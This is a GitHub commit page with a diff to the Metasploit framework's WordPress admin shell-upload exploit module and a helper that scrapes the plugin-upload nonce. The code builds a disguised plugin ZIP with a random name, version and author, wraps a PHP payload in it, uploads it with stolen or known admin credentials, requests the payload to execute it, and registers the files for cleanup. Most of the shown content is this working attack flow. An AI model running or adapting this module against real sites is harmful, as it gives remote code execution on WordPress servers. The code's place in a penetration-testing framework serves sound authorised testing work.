Skip to content

Commit 708340e

Browse files
committed
Tidy up various bits of code
1 parent 76a64b3 commit 708340e

File tree

2 files changed

+8
-11
lines changed

2 files changed

+8
-11
lines changed

lib/msf/http/wordpress/helpers.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -132,6 +132,8 @@ def wordpress_helper_get_plugin_upload_nonce(cookie)
132132
'vars_get' => { 'tab' => 'upload' }
133133
}
134134
res = send_request_cgi(options)
135-
res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
135+
if res && res.code == 200
136+
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
137+
end
136138
end
137139
end

modules/exploits/unix/webapp/wp_admin_shell_upload.rb

Lines changed: 5 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -48,16 +48,11 @@ def password
4848
datastore['PASSWORD']
4949
end
5050

51-
def referer_uri
52-
normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
53-
end
54-
5551
def generate_plugin(plugin_name, payload_name)
56-
r = Random.new
5752
plugin_script = %Q{<?php
5853
/**
5954
* Plugin Name: #{plugin_name}
60-
* Version: #{r.rand(1..20)}.#{r.rand(0..20)}.#{r.rand(0..20)}
55+
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
6156
* Author: #{Rex::Text.rand_text_alpha(10)}
6257
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
6358
* License: GPL2
@@ -66,7 +61,7 @@ def generate_plugin(plugin_name, payload_name)
6661

6762
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
6863
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
69-
zip.add_file("#{plugin_name}/#{payload_name}", payload.encoded)
64+
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
7065
zip
7166
end
7267

@@ -80,16 +75,16 @@ def exploit
8075

8176
print_status("#{peer} - Preparing payload...")
8277
plugin_name = Rex::Text.rand_text_alpha(10)
83-
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
84-
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_name)
78+
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
79+
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
8580
zip = generate_plugin(plugin_name, payload_name)
8681

8782
print_status("#{peer} - Uploading payload...")
8883
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
8984
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
9085

9186
print_status("#{peer} - Executing the payload at #{payload_uri}...")
92-
register_files_for_cleanup(payload_name)
87+
register_files_for_cleanup("#{payload_name}.php")
9388
register_files_for_cleanup("#{plugin_name}.php")
9489
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
9590
end

0 commit comments

Comments
 (0)